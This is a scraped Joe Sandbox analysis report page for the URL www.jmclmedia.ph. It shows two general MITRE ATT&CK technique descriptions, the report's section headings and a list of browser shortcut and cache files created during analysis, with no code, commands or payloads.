Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://www.jmclmedia.ph

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Downloads\Unconfirmed 16380.crdownload (copy)

C:\Users\user\Downloads\b9332d06-3c24-48f5-9f1d-0f13c48528dc.tmp

Chrome Cache Entry: 100

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 116

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 125

Chrome Cache Entry: 84

Chrome Cache Entry: 87

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
http://www.jmclmedia.ph